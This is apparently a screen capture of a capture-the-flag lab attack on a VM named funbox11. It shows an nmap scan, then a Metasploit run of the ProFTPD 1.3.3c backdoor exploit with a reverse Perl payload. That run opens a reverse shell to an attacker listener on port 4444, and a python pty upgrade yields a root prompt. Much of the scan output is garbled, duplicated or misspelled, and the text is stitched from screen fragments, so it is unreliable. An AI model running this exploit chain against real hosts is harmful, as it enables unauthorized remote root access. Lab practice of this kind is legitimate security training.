```
# Nmap 7.95 scan initiated Tue Mar 11 17:39:19 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p21,22,25,80,110,139,143,445 -oN version 10.0.2.63
Nmap scan report for 10.0.2.63
Host is up (0.00075s latency).
               Host is up (8.00075s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp ProfTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
2048 a6:0e:30:35:30:ef:43:444:f5:1c:d7:c6:58:64:09:92 (RSA)
256 (22:d8:0d:62:bf:13:89:28:186:1e0:36:c4:77:a5:bf (ECDSA)
256 (22:d8:0d:62:bf:13:89:28:186:1e0:36:c4:77:a5:bf (ECDSA)
256 (22:d8:0d:62:bf:13:89:28:186:1e0:36:c4:77:a5:bf (ECDSA)
256 (22:d0:60:e5:81:ee:f2:bd):ef:c:commonName=funbox:11
Not valid before: 2021-07-1916:52:14
sntp-commands: funbox:1, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTILS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80-tcp open http Apache http 2.4.18 ((Ubuntu))
2.http-server-header: Apachez:4.18 ((Ubuntu))
110/tcp open pop3 Dovecto pop3d
110/tcp open pop3 
                Host script results:
_clock-skew: mean: -19m57s, deviation: 34m39s, median: 2s
smb2-security-mode:
3:1:1:
_ Message signing enabled but not required
smb-security-mode:
account_used: guest
     GNU nano 8.3
                                                                                                                                                                                                                                                                                                     /etc/hosts
127.0.1.1
                                                    kali
                                                    localhost ip6-localhost ip6-loopback
ff02::1
                                                  ip6-allnodes ip6-allrouters
10.0.2.63 funbox11
                                                            msf6 exploit(unix/ftp/proftpd_133c_backdoor) > options
                                                            Module options (exploit/unix/ftp/proftpd_133c_backdoor):
                                                                                                 Current Setting Required Description
                                                                                                                                                                                The local client address
The local client port
A proxy chain of format type:
The target host(s), see https
The target port (TCP)
                                                                     CHOST
                                                                      CPORT
                                                                                                                                                   yes
yes
                                                                     RHOSTS
                                                                      RPORT
                                                            Exploit target:
                                                                     Id Name
                                                                            Automatic
                                                            View the full module info with the info, or info -d command.
                                                            msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set rhosts 10.0.2.63
                                                    msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set PAYLOAD 6
                                                    PAYLOAD => cmd/unix/reverse_perl
                              6 exploit(unix/ftp/proftpd_133c_backdoor) > run
Started reverse TCP handler on 10.0.2.15:4444
10.0.2.63:21 - Sending Backdoor Command
Command shell session 1 opened (10.0.2.15:4444 -> 10.0.2.63:40936) at 2025-03-11 20:08:49 +0100
                    python -c 'import pty;pty.spawn("/bin/bash")'
root@funbox11:/# |
                                               Please, tweet this to: @0815R2d2
```

